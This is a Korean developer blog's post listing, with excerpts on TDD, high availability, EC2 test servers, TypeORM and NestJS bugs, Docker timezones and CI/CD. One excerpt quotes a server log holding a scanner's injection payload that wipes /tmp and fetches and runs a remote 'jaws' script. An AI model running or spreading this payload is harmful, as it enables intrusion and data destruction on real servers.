전체 글 63

TDD - TDD ∙ 기능 명세 ∙ 설계

이전 포스트 https://hou27.tistory.com/entry/TDD-%ED%85%8C%EC%8A%A4%ED%8A%B8-%EC%BD%94%EB%93%9C-%EC%9E%91%EC%84%B1-%EC%88%9C%EC%84%9C TDD - 테스트 코드 작성 순서 이전 포스트 https://hou27.tistory.com/entry/TDD-TDD%EB%9E%80 TDD - TDD(Test-Driven Development)란? TDD를 프로젝트에 적용해보고 싶다는 생각만 항상 했었는데, GDSC에서 스터디를 TDD로 진행하게 되어 이번 기회에 제 hou27.tistory.com 실습 환경 - Java 17 - Spring Boot 3.0.1 - wsl 2 기능 명세 어떤 형태로든 사용자에게 제공할 기능을 ..

Study/TDD 2023.01.16

TDD - 테스트 코드 작성 순서

이전 포스트 https://hou27.tistory.com/entry/TDD-TDD%EB%9E%80 TDD - TDD(Test-Driven Development)란? TDD를 프로젝트에 적용해보고 싶다는 생각만 항상 했었는데, GDSC에서 스터디를 TDD로 진행하게 되어 이번 기회에 제대로 공부해보고자 한다. 참고용 도서는 아래 책으로 결정했다. http://www.yes24.com hou27.tistory.com 실습 환경 - Java 17 - Spring Boot 3.0.1 - wsl 2 테스트 코드를 작성할 때는 원활한 진행을 위한 규칙이 있다. 규칙은 아래와 같다. 규칙 쉬운 경우에서 어려운 경우로 진행 예외적인 경우에서 정상인 경우로 진행 초반에 복잡한 테스트부터 시작하면 안 되는 이유 초반부터..

Study/TDD 2023.01.12

TDD - TDD(Test-Driven Development)란?

TDD를 프로젝트에 적용해보고 싶다는 생각만 항상 했었는데, GDSC에서 스터디를 TDD로 진행하게 되어 이번 기회에 제대로 공부해보고자 한다. 참고용 도서는 아래 책으로 결정했다. http://www.yes24.com/Product/Goods/89145195 테스트 주도 개발 시작하기 - YES24 TDD(Test-Driven Development)는 테스트부터 시작한다. 구현을 먼저 하고 나중에 테스트하는 것이 아니라 먼저 테스트를 하고 그다음에 구현한다. 구현 코드가 없는데 어떻게 테스트할 수 있을까? 여기 www.yes24.com 실습 환경 - Java 17 - Spring Boot 3.0.1 - wsl 2 TDD란? TDD는 테스트부터 시작한다. 우선 테스트를 작성하고, 그 후에 구현을 진행하게..

Study/TDD 2023.01.06

HA(고가용성)와 DR(재해 복구)

GDSC 세션에서 발표한 내용을 포스트로 재구성했습니다. 만약 내가 운영하는 프로젝트를 서비스하다가 문제가 생기면 어떻게 해야할까? 하는 궁금증을 가지고 있었는데, 최근 있었던 일을 겪으며 '고가용성' 서비스를 어떻게 하면 제공할 수 있을 지 직접 알아보게 되었습니다. 고가용성이란, 장애가 생기더라도 빠르게 복구할 수 있는, 시스템을 최대한 중단 시간 없이 운영할 수 있는 성질을 말합니다. 하나의 시스템에서 서비스가 불가한 장애 발생 시 다른 시스템으로 옮겨 서비스의 중단을 최소화하는 기술입니다. 사실상 완전히 중단을 막을 순 없으며, 서비스 중단을 막기 위한 최선의 방법을 선택하는 것이 고가용성입니다. 일반적으로 가용성에 따른 서비스 제공 시간은 아래와 같습니다. Availability Downtime..

Dev 2022.11.19

하나의 EC2 안에 테스트 서버까지 구축하기 feat. AWS

계기 release branch에서 master로 병합 전, 즉 실 배포 전에 배포하고 확인할 수 있는 서버가 필요하다고 느껴 테스트 서버를 구축하게 되었다. 기존 서버 구성도 기존의 서버 구성은 위와 같았다. docker-compose를 활용하여 api server, postgreSQL, Redis 총 3개의 컨테이너를 묶어서 EC2에 올려 관리하고 있었다. 초반엔 단순하게 인스턴스 하나를 늘려야겠다고 생각했지만, 서버 비용이 2배가 된다는 생각에 아찔해져 지금 올려둔 EC2에 테스트 서버를 함께 올리기로 결심했다. 시도 1 우선 docker compose로 묶어뒀던 구성에서 api server를 분리하고, ec2 보안 그룹에 test server를 위한 인바운드 규칙을 추가하고 Application ..

개발 일지 2022.11.19

TypeORM - findOne with undefined

이슈의 발현 프로젝트를 진행하던 중, 갑자기 다른 사용자의 계정으로 로그인된다는 이슈가 제보됐다. 그럴 수도 없고, 그래서도 안되고, 믿기지 않았지만 제보해주신 분이 보내온 캡처를 확인하니 분명 내 계정으로 로그인된 모습이었다. 다행히도 많은 도움을 주신 덕에 금방 원인을 파악할 수 있었다. 원인 현재 필자의 프로젝트는 카카오 로그인을 지원하고 있다. 아직 비즈 앱으로 등록하지 않아서 EMAIL을 필수 동의 항목으로 설정할 수 없어서 선택사항으로 두었었는데, 제보해주신 분이 최초로 카카오 로그인을 시도할 때 이메일 제공에 동의하지 않았고, 그 탓에 이메일로 사용자 식별을 하고 있는 우리 서버가 undefined 값을 기준으로 사용자를 찾았더니 내 계정이 찾아진 것이었다. ..? 여기까지 읽고 무슨 소린지..

Backend/NestJS 2022.11.07

NestJS - Transaction Interceptor 적용하기

진행 순서 문제 당면 해결 과정 근본적인 문제 개선 방법 - AOP Interceptor 구현 및 적용 본 포스트는 NestJS + TypeORM 환경에서 진행됩니다. 프로젝트를 진행하면서 어느 순간부터 자꾸만 504 Gateway Timeout Error 때문에 서버가 죽어버리는 현상이 발생했다. 그래서 서버 로그를 확인해보면 이런 로그 또는 {"level":"error","message":"Cannot GET /shell?cd+/tmp;rm+-rf+*;wget+0.0.0.0/jaws;sh+/tmp/jaws","name":"NotFoundException","response":{"error":"Not Found","message":"Cannot GET /shell?cd+/tmp;rm+-rf+*;wget..

Backend/NestJS 2022.11.01

Baekjoon[JAVA] - 16637번 괄호 추가하기

https://www.acmicpc.net/problem/16637 16637번: 괄호 추가하기 길이가 N인 수식이 있다. 수식은 0보다 크거나 같고, 9보다 작거나 같은 정수와 연산자(+, -, ×)로 이루어져 있다. 연산자 우선순위는 모두 동일하기 때문에, 수식을 계산할 때는 왼쪽에서부터 순 www.acmicpc.net 문제 길이가 N인 수식이 있다. 수식은 0보다 크거나 같고, 9보다 작거나 같은 정수와 연산자(+, -, ×)로 이루어져 있다. 연산자 우선순위는 모두 동일하기 때문에, 수식을 계산할 때는 왼쪽에서부터 순서대로 계산해야 한다. 예를 들어, 3+8×7-9×2의 결과는 136이다. 수식에 괄호를 추가하면, 괄호 안에 들어있는 식은 먼저 계산해야 한다. 단, 괄호 안에는 연산자가 하나만 들..

Problem Solving 2022.10.31

Docker timezone 설정하기

프로젝트를 진행하면서 aws ec2에 띄워둔 docker container에서 로그를 요일별로 정리하여 파일로 저장하고 있었다. 근데 로그에 표시할 시간은 적절한 조치를 통해 한국 시간으로 표시하고 있었지만, docker container 자체의 timezone이 UTC+0으로 설정되어 있었기 때문에 한국 시간을 기준으로 00시부터 새로운 로그파일이 생성되지 않는 문제가 있었다. 그래서 docker container의 timezone 자체를 Asia/Seoul로 설정하고자 한다. Dockerfile의 설정을 통해서도 timezone을 지정해줄 수 있지만 현재 필자의 프로젝트는 EC2에 docker-compose를 통해 API 서버 & PostgreSQL 서버 & Redis 서버 로 배포되고 있었기 때문에..

Dev 2022.10.19

github action을 통한 ci cd 자동화(feat. shell script)

프로젝트를 진행하면서 CI / CD의 자동화 필요성을 절실하게 느끼게 되었다. 다른 것도 많았지만 기본적으로 github를 사용하고 있다보니 자연스레 github action을 사용해보자라고 생각했던 것 같다. 여기서 CI / CD 란 무엇일까? 필자가 자동화의 필요성을 절실하게 느낀 것처럼 매번 개발자가 코드를 수정하고 직접 빌드 및 테스트를 하고 배포까지 하게 된다면 그 시간 비용은 엄청날 것이다. 때문에 CI / CD의 개념을 알고 도입하는 것이 필요하다. CI : 빌드와 테스트를 자동화하는 것 지속적 통합(Continuous Integration) CD : 배포 과정을 자동화하는 것 지속적 서비스 제공(Continuous Delivery) or 지속적 배포(Continuous Deployment)..

Dev 2022.10.17